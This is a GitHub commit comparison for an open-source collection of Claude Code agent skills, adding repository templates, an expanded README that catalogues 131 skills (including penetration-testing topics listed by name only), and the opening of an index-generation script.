Compare commits
24 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
95eeb1dd4b | ||
|
|
b1e4d61715 | ||
|
|
d17e7bc767 | ||
|
|
450a8a95a5 | ||
|
|
7a14904fd3 | ||
|
|
59a349075e | ||
|
|
d8b9ac19b2 | ||
|
|
68a457b96b | ||
|
|
98756d75ae | ||
|
|
4ee569d5d5 | ||
|
|
8a4b4383e8 | ||
|
|
9d09626fd2 | ||
|
|
014da3e744 | ||
|
|
113bc99e47 | ||
|
|
3e46a495c9 | ||
|
|
faf478f389 | ||
|
|
266cbf4c6c | ||
|
|
f8eaf7bd50 | ||
|
|
c86c93582e | ||
|
|
d32f89a211 | ||
|
|
1aa169c842 | ||
|
|
c9280cf9cf | ||
|
|
0fff14df81 | ||
|
|
8bd204708b |
8
.github/CODEOWNERS
vendored
Normal file
8
.github/CODEOWNERS
vendored
Normal file
@@ -0,0 +1,8 @@
|
||||
# Global owners
|
||||
* @sickn33
|
||||
|
||||
# Skills
|
||||
/skills/ @sickn33
|
||||
|
||||
# Documentation
|
||||
*.md @sickn33
|
||||
33
.github/ISSUE_TEMPLATE/bug_report.md
vendored
Normal file
33
.github/ISSUE_TEMPLATE/bug_report.md
vendored
Normal file
@@ -0,0 +1,33 @@
|
||||
---
|
||||
name: Bug Report
|
||||
about: Create a report to help us improve the skills
|
||||
title: "[BUG] "
|
||||
labels: bug
|
||||
assignees: sickn33
|
||||
---
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is.
|
||||
|
||||
**To Reproduce**
|
||||
Steps to reproduce the behavior:
|
||||
|
||||
1. Go to '...'
|
||||
2. Click on '...'
|
||||
3. Scroll down to '...'
|
||||
4. See error
|
||||
|
||||
**Expected behavior**
|
||||
A clear and concise description of what you expected to happen.
|
||||
|
||||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**Environment (please complete the following information):**
|
||||
|
||||
- OS: [e.g. macOS, Windows]
|
||||
- Tool: [e.g. Claude Code, Antigravity]
|
||||
- Version [if known]
|
||||
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
19
.github/ISSUE_TEMPLATE/feature_request.md
vendored
Normal file
19
.github/ISSUE_TEMPLATE/feature_request.md
vendored
Normal file
@@ -0,0 +1,19 @@
|
||||
---
|
||||
name: Skill Request
|
||||
about: Suggest a new skill for the collection
|
||||
title: "[REQ] "
|
||||
labels: enhancement
|
||||
assignees: sickn33
|
||||
---
|
||||
|
||||
**Is your feature request related to a problem? Please describe.**
|
||||
A clear and concise description of what the problem is. Ex: I'm always frustrated when [...]
|
||||
|
||||
**Describe the solution you'd like**
|
||||
A description of the skill you want. What trigger should it have? What files should it effect?
|
||||
|
||||
**Describe alternatives you've considered**
|
||||
A clear and concise description of any alternative solutions or features you've considered.
|
||||
|
||||
**Additional context**
|
||||
Add any other context or screenshots about the feature request here.
|
||||
18
.github/PULL_REQUEST_TEMPLATE.md
vendored
Normal file
18
.github/PULL_REQUEST_TEMPLATE.md
vendored
Normal file
@@ -0,0 +1,18 @@
|
||||
## Description
|
||||
|
||||
Please describe your changes. What skill are you adding or modifying?
|
||||
|
||||
## Checklist
|
||||
|
||||
- [ ] My skill follows the [creation guidelines](https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/skill-creator)
|
||||
- [ ] I have run `validate_skills.py`
|
||||
- [ ] I have added my name to the credits (if applicable)
|
||||
|
||||
## Type of Change
|
||||
|
||||
- [ ] New Skill
|
||||
- [ ] Bug Fix
|
||||
- [ ] Documentation Update
|
||||
- [ ] Infrastructure
|
||||
|
||||
## Screenshots (if applicable)
|
||||
6
.gitignore
vendored
Normal file
6
.gitignore
vendored
Normal file
@@ -0,0 +1,6 @@
|
||||
|
||||
MAINTENANCE.md
|
||||
walkthrough.md
|
||||
.agent/rules/
|
||||
.gemini/
|
||||
LOCAL_CONFIG.md
|
||||
205
README.md
205
README.md
@@ -1,62 +1,213 @@
|
||||
# 🌌 Antigravity Awesome Skills
|
||||
# 🌌 Antigravity Awesome Skills: The Ultimate Claude Code Skills Collection
|
||||
|
||||
> **The Ultimate Collection of 50+ Agentic Skills for Claude Code (Antigravity)**
|
||||
> **The Ultimate Collection of 130+ Agentic Skills for Claude Code (Antigravity)**
|
||||
|
||||
[](https://opensource.org/licenses/MIT)
|
||||
[](https://claude.ai)
|
||||
[](https://github.com/guanyang/antigravity-skills)
|
||||
|
||||
**Antigravity Awesome Skills** is a curated, battle-tested collection of **58 high-performance skills** designed to supercharge your Claude Code agent using the Antigravity framework.
|
||||
**Antigravity Awesome Skills** is the ultimate **Claude Code Skills** collection—a curated, battle-tested library of **131 high-performance skills** compatible with both **Antigravity** and **Claude Code**. This repository provides the essential **Claude Code skills** needed to transform your AI assistant into a full-stack digital agency, including official capabilities from **Anthropic** and **Vercel Labs**.
|
||||
|
||||
## 📍 Table of Contents
|
||||
|
||||
- [Features & Categories](#features--categories)
|
||||
- [Full Skill Registry](#full-skill-registry-131131)
|
||||
- [Installation](#installation)
|
||||
- [How to Contribute](#how-to-contribute)
|
||||
- [Credits & Sources](#credits--sources)
|
||||
- [License](#license)
|
||||
|
||||
Whether you are using the Google Deepmind Antigravity framework or the standard Anthropic Claude Code CLI, these skills are designed to drop right in and supercharge your agent.
|
||||
|
||||
This repository aggregates the best capabilities from across the open-source community, transforming your AI assistant into a full-stack digital agency capable of Engineering, Design, Security, Marketing, and Autonomous Operations.
|
||||
|
||||
## 🚀 Features & Categories
|
||||
## Features & Categories
|
||||
|
||||
- **🎨 Creative & Design**: Algorithmic art, Canvas design, Professional UI/UX, Design Systems.
|
||||
- **🛠️ Development & Engineering**: TDD, Clean Architecture, Playwright E2E Testing, Systematic Debugging.
|
||||
- **🛡️ Cybersecurity & Auditing**: Ethical Hacking, OWASP Audits, AWS Penetration Testing, SecOps.
|
||||
- **🛸 Autonomous Agents**: Loki Mode (Startup-in-a-box), Subagent Orchestration.
|
||||
- **📈 Business & Strategy**: Product Management (PRD/RICE), Marketing Strategy (SEO/ASO), Senior Architecture.
|
||||
- **🏗️ Infrastructure**: Backend/Frontend Guidelines, Docker, Git Workflows.
|
||||
The repository is organized into several key areas of expertise:
|
||||
|
||||
| Category | Skills Count | Key Skills Included |
|
||||
| :-------------------------- | :----------- | :--------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **🛡️ Cybersecurity** | **~50** | Ethical Hacking, Metasploit, Burp Suite, SQLMap, Active Directory, AWS/Cloud Pentesting, OWASP Top 100, Red Team Tools |
|
||||
| **🛠️ Development** | **~25** | TDD, Systematic Debugging, React Patterns, Backend/Frontend Guidelines, Senior Fullstack, Software Architecture |
|
||||
| **🎨 Creative & Design** | **~10** | UI/UX Pro Max, Frontend Design, Canvas, Algorithmic Art, Theme Factory, D3 Viz, Web Artifacts |
|
||||
| **🤖 AI & LLM Development** | **~8** | LLM App Patterns, Autonomous Agent Patterns, Prompt Engineering, Prompt Library, JavaScript Mastery, Bun Development |
|
||||
| **🛸 Autonomous & Agentic** | **~8** | Loki Mode (Startup-in-a-box), Subagent Driven Dev, Dispatching Parallel Agents, Planning With Files, Skill Creator/Developer |
|
||||
| **📄 Document Processing** | **~4** | DOCX (Official), PDF (Official), PPTX (Official), XLSX (Official) |
|
||||
| **📈 Product & Strategy** | **~8** | Product Manager Toolkit, Content Creator, ASO, Doc Co-authoring, Brainstorming, Internal Comms |
|
||||
| **🏗️ Infrastructure & Git** | **~8** | Linux Shell Scripting, Git Worktrees, Git Pushing, Conventional Commits, File Organization, GitHub Workflow Automation |
|
||||
| **🔄 Workflow & Planning** | **~6** | Writing Plans, Executing Plans, Concise Planning, Verification Before Completion, Code Review (Requesting/Receiving) |
|
||||
| **🧪 Testing & QA** | **~4** | Webapp Testing, Playwright Automation, Test Fixing, Testing Patterns |
|
||||
|
||||
---
|
||||
|
||||
## 📦 Installation
|
||||
## Full Skill Registry (131/131)
|
||||
|
||||
Below is the complete list of available skills. Each skill folder contains a `SKILL.md` that can be imported into Antigravity or Claude Code.
|
||||
|
||||
> [!NOTE] > **Document Skills**: We provide both **community** and **official Anthropic** versions for DOCX, PDF, PPTX, and XLSX. Locally, the official versions are used by default (via symlinks). In the repository, both versions are available for flexibility.
|
||||
|
||||
| Skill Name | Description | Path |
|
||||
| :-------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :-------------------------------------- |
|
||||
| **API Fuzzing for Bug Bounty** | This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques. | `skills/api-fuzzing-bug-bounty` |
|
||||
| **AWS Penetration Testing** | This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment. | `skills/aws-penetration-testing` |
|
||||
| **Active Directory Attacks** | This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing. | `skills/active-directory-attacks` |
|
||||
| **Address GitHub Comments** | Use when you need to address review or issue comments on an open GitHub Pull Request using the gh CLI. | `skills/address-github-comments` |
|
||||
| **Agent Manager Skill** | Use when you need to manage multiple local CLI agents via tmux sessions (start/stop/monitor/assign) with cron-friendly scheduling. | `skills/agent-manager-skill` |
|
||||
| **Algorithmic Art** | Creating algorithmic art using p5. | `skills/algorithmic-art` |
|
||||
| **App Store Optimization** | Complete App Store Optimization (ASO) toolkit for researching, optimizing, and tracking mobile app performance on Apple App Store and Google Play Store. | `skills/app-store-optimization` |
|
||||
| **Autonomous Agent Patterns** | "Design patterns for building autonomous coding agents. | `skills/autonomous-agent-patterns` |
|
||||
| **Backend Guidelines** | Comprehensive backend development guide for Node. | `skills/backend-dev-guidelines` |
|
||||
| **Brainstorming** | "You MUST use this before any creative work - creating features, building components, adding functionality, or modifying behavior. | `skills/brainstorming` |
|
||||
| **Brand Guidelines (Anthropic)** | Applies Anthropic's official brand colors and typography to any sort of artifact that may benefit from having Anthropic's look-and-feel. | `skills/brand-guidelines-anthropic` |
|
||||
| **Brand Guidelines (Community)** | Applies Anthropic's official brand colors and typography to any sort of artifact that may benefit from having Anthropic's look-and-feel. | `skills/brand-guidelines-community` |
|
||||
| **Broken Authentication Testing** | This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". | `skills/broken-authentication` |
|
||||
| **Bun Development** | "Modern JavaScript/TypeScript development with Bun runtime. | `skills/bun-development` |
|
||||
| **Burp Suite Web Application Testing** | This skill should be used when the user asks to "intercept HTTP traffic", "modify web requests", "use Burp Suite for testing", "perform web vulnerability scanning", "test with Burp Repeater", "analyze HTTP history", or "configure proxy for web testing". | `skills/burp-suite-testing` |
|
||||
| **Canvas Design** | Create beautiful visual art in . | `skills/canvas-design` |
|
||||
| **Claude Code Guide** | Master guide for using Claude Code effectively. | `skills/claude-code-guide` |
|
||||
| **Claude D3.js** | Creating interactive data visualisations using d3. | `skills/claude-d3js-skill` |
|
||||
| **Cloud Penetration Testing** | This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". | `skills/cloud-penetration-testing` |
|
||||
| **Concise Planning** | Use when a user asks for a plan for a coding task, to generate a clear, actionable, and atomic checklist. | `skills/concise-planning` |
|
||||
| **Content Creator** | Create SEO-optimized marketing content with consistent brand voice. | `skills/content-creator` |
|
||||
| **Core Components** | Core component library and design system patterns. | `skills/core-components` |
|
||||
| **Cross-Site Scripting and HTML Injection Testing** | This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". | `skills/xss-html-injection` |
|
||||
| **Dispatching Parallel Agents** | Use when facing 2+ independent tasks that can be worked on without shared state or sequential dependencies. | `skills/dispatching-parallel-agents` |
|
||||
| **Doc Co-authoring** | Guide users through a structured workflow for co-authoring documentation. | `skills/doc-coauthoring` |
|
||||
| **DOCX (Official)** | "Comprehensive document creation, editing, and analysis with support for tracked changes, comments, formatting preservation, and text extraction. | `skills/docx-official` |
|
||||
| **Ethical Hacking Methodology** | This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". | `skills/ethical-hacking-methodology` |
|
||||
| **Executing Plans** | Use when you have a written implementation plan to execute in a separate session with review checkpoints. | `skills/executing-plans` |
|
||||
| **File Organizer** | Intelligently organizes files and folders by understanding context, finding duplicates, and suggesting better organizational structures. | `skills/file-organizer` |
|
||||
| **File Path Traversal Testing** | This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". | `skills/file-path-traversal` |
|
||||
| **Finishing Dev Branch** | Use when implementation is complete, all tests pass, and you need to decide how to integrate the work - guides completion of development work by presenting structured options for merge, PR, or cleanup. | `skills/finishing-a-development-branch` |
|
||||
| **Frontend Design** | Create distinctive, production-grade frontend interfaces with high design quality. | `skills/frontend-design` |
|
||||
| **Frontend Guidelines** | Frontend development guidelines for React/TypeScript applications. | `skills/frontend-dev-guidelines` |
|
||||
| **Git Pushing** | Stage, commit, and push git changes with conventional commit messages. | `skills/git-pushing` |
|
||||
| **GitHub Workflow Automation** | "Automate GitHub workflows with AI assistance. | `skills/github-workflow-automation` |
|
||||
| **HTML Injection Testing** | This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". | `skills/html-injection-testing` |
|
||||
| **IDOR Vulnerability Testing** | This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or object references," or "bypass authorization to access other users' data. | `skills/idor-testing` |
|
||||
| **Internal Comms (Anthropic)** | A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. | `skills/internal-comms-anthropic` |
|
||||
| **Internal Comms (Community)** | A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. | `skills/internal-comms-community` |
|
||||
| **JavaScript Mastery** | "Comprehensive JavaScript reference covering 33+ essential concepts every developer should know. | `skills/javascript-mastery` |
|
||||
| **Kaizen** | Guide for continuous improvement, error proofing, and standardization. | `skills/kaizen` |
|
||||
| **Linux Privilege Escalation** | This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". | `skills/linux-privilege-escalation` |
|
||||
| **Linux Shell Scripting** | This skill should be used when the user asks to "create bash scripts", "automate Linux tasks", "monitor system resources", "backup files", "manage users", or "write production shell scripts". | `skills/linux-shell-scripting` |
|
||||
| **LLM App Patterns** | "Production-ready patterns for building LLM applications. | `skills/llm-app-patterns` |
|
||||
| **Loki Mode** | Multi-agent autonomous startup system for Claude Code. | `skills/loki-mode` |
|
||||
| **MCP Builder** | Guide for creating high-quality MCP (Model Context Protocol) servers that enable LLMs to interact with external services through well-designed tools. | `skills/mcp-builder` |
|
||||
| **Metasploit Framework** | This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". | `skills/metasploit-framework` |
|
||||
| **Network 101** | This skill should be used when the user asks to "set up a web server", "configure HTTP or HTTPS", "perform SNMP enumeration", "configure SMB shares", "test network services", or needs guidance on configuring and testing network services for penetration testing labs. | `skills/network-101` |
|
||||
| **NotebookLM** | Use this skill to query your Google NotebookLM notebooks directly from Claude Code for source-grounded, citation-backed answers from Gemini. | `skills/notebooklm` |
|
||||
| **PDF (Official)** | Comprehensive PDF manipulation toolkit for extracting text and tables, creating new PDFs, merging/splitting documents, and handling forms. | `skills/pdf-official` |
|
||||
| **Pentest Checklist** | This skill should be used when the user asks to "plan a penetration test", "create a security assessment checklist", "prepare for penetration testing", "define pentest scope", "follow security testing best practices", or needs a structured methodology for penetration testing engagements. | `skills/pentest-checklist` |
|
||||
| **Pentest Commands** | This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references. | `skills/pentest-commands` |
|
||||
| **Planning With Files** | Implements Manus-style file-based planning for complex tasks. | `skills/planning-with-files` |
|
||||
| **Playwright Automation** | Complete browser automation with Playwright. | `skills/playwright-skill` |
|
||||
| **PPTX (Official)** | "Presentation creation, editing, and analysis. | `skills/pptx-official` |
|
||||
| **Privilege Escalation Methods** | This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems. | `skills/privilege-escalation-methods` |
|
||||
| **Product Toolkit** | Comprehensive toolkit for product managers including RICE prioritization, customer interview analysis, PRD templates, discovery frameworks, and go-to-market strategies. | `skills/product-manager-toolkit` |
|
||||
| **Prompt Engineering** | Expert guide on prompt engineering patterns, best practices, and optimization techniques. | `skills/prompt-engineering` |
|
||||
| **Prompt Library** | "Curated collection of high-quality prompts for various use cases. | `skills/prompt-library` |
|
||||
| **React Best Practices** | React and Next. | `skills/react-best-practices` |
|
||||
| **React UI Patterns** | Modern React UI patterns for loading states, error handling, and data fetching. | `skills/react-ui-patterns` |
|
||||
| **Receiving Code Review** | Use when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation. | `skills/receiving-code-review` |
|
||||
| **Red Team Tools and Methodology** | This skill should be used when the user asks to "follow red team methodology", "perform bug bounty hunting", "automate reconnaissance", "hunt for XSS vulnerabilities", "enumerate subdomains", or needs security researcher techniques and tool configurations from top bug bounty hunters. | `skills/red-team-tools` |
|
||||
| **Requesting Code Review** | Use when completing tasks, implementing major features, or before merging to verify work meets requirements. | `skills/requesting-code-review` |
|
||||
| **SMTP Penetration Testing** | This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". | `skills/smtp-penetration-testing` |
|
||||
| **SQL Injection Testing** | This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". | `skills/sql-injection-testing` |
|
||||
| **SQLMap Database Penetration Testing** | This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing. | `skills/sqlmap-database-pentesting` |
|
||||
| **SSH Penetration Testing** | This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". | `skills/ssh-penetration-testing` |
|
||||
| **Security Scanning Tools** | This skill should be used when the user asks to "perform vulnerability scanning", "scan networks for open ports", "assess web application security", "scan wireless networks", "detect malware", "check cloud security", or "evaluate system compliance". | `skills/scanning-tools` |
|
||||
| **Senior Architect** | Comprehensive software architecture skill for designing scalable, maintainable systems using ReactJS, NextJS, NodeJS, Express, React Native, Swift, Kotlin, Flutter, Postgres, GraphQL, Go, Python. | `skills/senior-architect` |
|
||||
| **Senior Fullstack** | Comprehensive fullstack development skill for building complete web applications with React, Next. | `skills/senior-fullstack` |
|
||||
| **Shodan Reconnaissance and Pentesting** | This skill should be used when the user asks to "search for exposed devices on the internet," "perform Shodan reconnaissance," "find vulnerable services using Shodan," "scan IP ranges with Shodan," or "discover IoT devices and open ports. | `skills/shodan-reconnaissance` |
|
||||
| **Skill Creator** | Guide for creating effective skills. | `skills/skill-creator` |
|
||||
| **Skill Developer** | Create and manage Claude Code skills following Anthropic best practices. | `skills/skill-developer` |
|
||||
| **Slack GIF Creator** | Knowledge and utilities for creating animated GIFs optimized for Slack. | `skills/slack-gif-creator` |
|
||||
| **Software Architecture** | Guide for quality focused software architecture. | `skills/software-architecture` |
|
||||
| **Subagent Driven Dev** | Use when executing implementation plans with independent tasks in the current session. | `skills/subagent-driven-development` |
|
||||
| **Systematic Debugging** | Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes. | `skills/systematic-debugging` |
|
||||
| **TDD** | Use when implementing any feature or bugfix, before writing implementation code. | `skills/test-driven-development` |
|
||||
| **Test Fixing** | Run tests and systematically fix all failing tests using smart error grouping. | `skills/test-fixing` |
|
||||
| **Testing Patterns** | Jest testing patterns, factory functions, mocking strategies, and TDD workflow. | `skills/testing-patterns` |
|
||||
| **Theme Factory** | Toolkit for styling artifacts with a theme. | `skills/theme-factory` |
|
||||
| **Top 100 Vulnerabilities** | This skill should be used when the user asks to "identify web application vulnerabilities", "explain common security flaws", "understand vulnerability categories", "learn about injection attacks", "review access control weaknesses", "analyze API security issues", "assess security misconfigurations", "understand client-side vulnerabilities", "examine mobile and IoT security flaws", or "reference the OWASP-aligned vulnerability taxonomy". | `skills/top-web-vulnerabilities` |
|
||||
| **UI/UX Pro Max** | "UI/UX design intelligence. | `skills/ui-ux-pro-max` |
|
||||
| **Using Git Worktrees** | Use when starting feature work that needs isolation from current workspace or before executing implementation plans - creates isolated git worktrees with smart directory selection and safety verification. | `skills/using-git-worktrees` |
|
||||
| **Using Superpowers** | Use when starting any conversation - establishes how to find and use skills, requiring Skill tool invocation before ANY response including clarifying questions. | `skills/using-superpowers` |
|
||||
| **Verification Before Completion** | Use when about to claim work is complete, fixed, or passing, before committing or creating PRs - requires running verification commands and confirming output before making any success claims; evidence before assertions always. | `skills/verification-before-completion` |
|
||||
| **Web Artifacts** | Suite of tools for creating elaborate, multi-component claude. | `skills/web-artifacts-builder` |
|
||||
| **Web Design Guidelines** | Review UI code for Web Interface Guidelines compliance. | `skills/web-design-guidelines` |
|
||||
| **Webapp Testing** | Toolkit for interacting with and testing local web applications using Playwright. | `skills/webapp-testing` |
|
||||
| **Windows Privilege Escalation** | This skill should be used when the user asks to "escalate privileges on Windows," "find Windows privesc vectors," "enumerate Windows for privilege escalation," "exploit Windows misconfigurations," or "perform post-exploitation privilege escalation. | `skills/windows-privilege-escalation` |
|
||||
| **Wireshark Network Traffic Analysis** | This skill should be used when the user asks to "analyze network traffic with Wireshark", "capture packets for troubleshooting", "filter PCAP files", "follow TCP/UDP streams", "detect network anomalies", "investigate suspicious traffic", or "perform protocol analysis". | `skills/wireshark-analysis` |
|
||||
| **Workflow Automation** | "Design and implement automated workflows combining visual logic with custom code. | `skills/workflow-automation` |
|
||||
| **WordPress Penetration Testing** | This skill should be used when the user asks to "pentest WordPress sites", "scan WordPress for vulnerabilities", "enumerate WordPress users, themes, or plugins", "exploit WordPress vulnerabilities", or "use WPScan". | `skills/wordpress-penetration-testing` |
|
||||
| **Writing Plans** | Use when you have a spec or requirements for a multi-step task, before touching code. | `skills/writing-plans` |
|
||||
| **Writing Skills** | Use when creating new skills, editing existing skills, or verifying skills work before deployment. | `skills/writing-skills` |
|
||||
| **XLSX (Official)** | "Comprehensive spreadsheet creation, editing, and analysis with support for formulas, formatting, data analysis, and visualization. | `skills/xlsx-official` |
|
||||
|
||||
> [!TIP]
|
||||
> Use the `validate_skills.py` script in the `scripts/` directory to ensure all skills are properly formatted and ready for use.
|
||||
|
||||
---
|
||||
|
||||
## Installation
|
||||
|
||||
To use these skills with **Antigravity** or **Claude Code**, clone this repository into your agent's skills directory:
|
||||
|
||||
```bash
|
||||
# Clone directly into your skills folder
|
||||
git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
|
||||
```
|
||||
|
||||
Or copy valid markdown files (`SKILL.md`) to your existing configuration.
|
||||
---
|
||||
|
||||
## How to Contribute
|
||||
|
||||
We welcome contributions from the community! To add a new skill:
|
||||
|
||||
1. **Fork** the repository.
|
||||
2. **Create a new directory** inside `skills/` for your skill.
|
||||
3. **Add a `SKILL.md`** with the required frontmatter (name and description).
|
||||
4. **Run validation**: `python3 scripts/validate_skills.py`.
|
||||
5. **Submit a Pull Request**.
|
||||
|
||||
Please ensure your skill follows the Antigravity/Claude Code best practices.
|
||||
|
||||
---
|
||||
|
||||
## 🏆 Credits & Sources
|
||||
## Credits & Sources
|
||||
|
||||
This collection would not be possible without the incredible work of the Claude Code community. This repository is an aggregation of the following open-source projects:
|
||||
This collection would not be possible without the incredible work of the Claude Code community and official sources:
|
||||
|
||||
### 🌟 Core Foundation
|
||||
### Official Sources
|
||||
|
||||
- **[guanyang/antigravity-skills](https://github.com/guanyang/antigravity-skills)**: The original framework and core set of 33 skills.
|
||||
- **[anthropics/skills](https://github.com/anthropics/skills)**: Official Anthropic skills repository - Document manipulation (DOCX, PDF, PPTX, XLSX), Brand Guidelines, Internal Communications.
|
||||
- **[anthropics/claude-cookbooks](https://github.com/anthropics/claude-cookbooks)**: Official notebooks and recipes for building with Claude.
|
||||
- **[vercel-labs/agent-skills](https://github.com/vercel-labs/agent-skills)**: Vercel Labs official skills - React Best Practices, Web Design Guidelines.
|
||||
- **[openai/skills](https://github.com/openai/skills)**: OpenAI Codex skills catalog - Agent skills, Skill Creator, Concise Planning.
|
||||
|
||||
### 👥 Community Contributors
|
||||
### Community Contributors
|
||||
|
||||
- **[diet103/claude-code-infrastructure-showcase](https://github.com/diet103/claude-code-infrastructure-showcase)**: Infrastructure, Backend/Frontend Guidelines, and Skill Development meta-skills.
|
||||
- **[ChrisWiles/claude-code-showcase](https://github.com/ChrisWiles/claude-code-showcase)**: React UI patterns, Design System components, and Testing factories.
|
||||
- **[travisvn/awesome-claude-skills](https://github.com/travisvn/awesome-claude-skills)**: Autonomous agents (Loki Mode), Playwright integration, and D3.js visualization.
|
||||
- **[zebbern/claude-code-guide](https://github.com/zebbern/claude-code-guide)**: Comprehensive Security suite (Ethical Hacking, OWASP, AWS Auditing).
|
||||
- **[alirezarezvani/claude-skills](https://github.com/alirezarezvani/claude-skills)**: Senior Engineering roles, Product Management toolkit, Content Creator & ASO skills.
|
||||
- **[obra/superpowers](https://github.com/obra/superpowers)**: The original "Superpowers" by Jesse Vincent.
|
||||
- **[guanyang/antigravity-skills](https://github.com/guanyang/antigravity-skills)**: Core Antigravity extensions.
|
||||
- **[diet103/claude-code-infrastructure-showcase](https://github.com/diet103/claude-code-infrastructure-showcase)**: Infrastructure and Backend/Frontend Guidelines.
|
||||
- **[ChrisWiles/claude-code-showcase](https://github.com/ChrisWiles/claude-code-showcase)**: React UI patterns and Design Systems.
|
||||
- **[travisvn/awesome-claude-skills](https://github.com/travisvn/awesome-claude-skills)**: Loki Mode and Playwright integration.
|
||||
- **[zebbern/claude-code-guide](https://github.com/zebbern/claude-code-guide)**: Comprehensive Security suite & Guide (Source for ~60 new skills).
|
||||
- **[alirezarezvani/claude-skills](https://github.com/alirezarezvani/claude-skills)**: Senior Engineering and PM toolkit.
|
||||
- **[karanb192/awesome-claude-skills](https://github.com/karanb192/awesome-claude-skills)**: A massive list of verified skills for Claude Code.
|
||||
|
||||
### Inspirations
|
||||
|
||||
- **[f/awesome-chatgpt-prompts](https://github.com/f/awesome-chatgpt-prompts)**: Inspiration for the Prompt Library.
|
||||
- **[leonardomso/33-js-concepts](https://github.com/leonardomso/33-js-concepts)**: Inspiration for JavaScript Mastery.
|
||||
|
||||
---
|
||||
|
||||
## 🛡️ License
|
||||
## License
|
||||
|
||||
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
|
||||
Individual skills may retain the licenses of their original repositories.
|
||||
MIT License. See [LICENSE](LICENSE) for details.
|
||||
|
||||
---
|
||||
|
||||
**Keywords**: Claude Code, Antigravity, Agentic Skills, MCT, Model Context Protocol, AI Agents, Autonomous Coding, Prompt Engineering, Security Auditing, React Patterns, Microservices.
|
||||
**Keywords**: Claude Code, Antigravity, Agentic Skills, MCT, AI Agents, Autonomous Coding, Security Auditing, React Patterns.
|
||||
|
||||
72
scripts/generate_index.py
Normal file
72
scripts/generate_index.py
Normal file
@@ -0,0 +1,72 @@
|
||||
import os
|
||||
import json
|
||||
import re
|
||||
|
||||
def generate_index(skills_dir, output_file):
|
||||
print(f"🏗️ Generating index from: {skills_dir}")
|
||||
skills = []
|
||||
|
||||
for root, dirs, files in os.walk(skills_dir):
|
||||
if "SKILL.md" in files:
|
||||
skill_path = os.path.join(root, "SKILL.md")
|
||||
dir_name = os.path.basename(root)
|
||||
|
||||
skill_info = {
|
||||
"id": dir_name,
|
||||
"path": os.path.relpath(root, os.path.dirname(skills_dir)),
|
||||
"name": dir_name.replace("-", " ").title(),
|
||||
"description": ""
|
||||
}
|
||||
|
||||
with open(skill_path, 'r', encoding='utf-8') as f:
|
||||
content = f.read()
|
||||
|
||||
# Try to extract from frontmatter first
|
||||
fm_match = re.search(r'^---\s*(.*?)\s*---', content, re.DOTALL)
|
||||
if fm_match:
|
||||
fm_content = fm_match.group(1)
|
||||
name_fm = re.search(r'^name:\s*(.+)$', fm_content, re.MULTILINE)
|
||||
desc_fm = re.search(r'^description:\s*(.+)$', fm_content, re.MULTILINE)
|
||||
|
||||
if name_fm:
|
||||
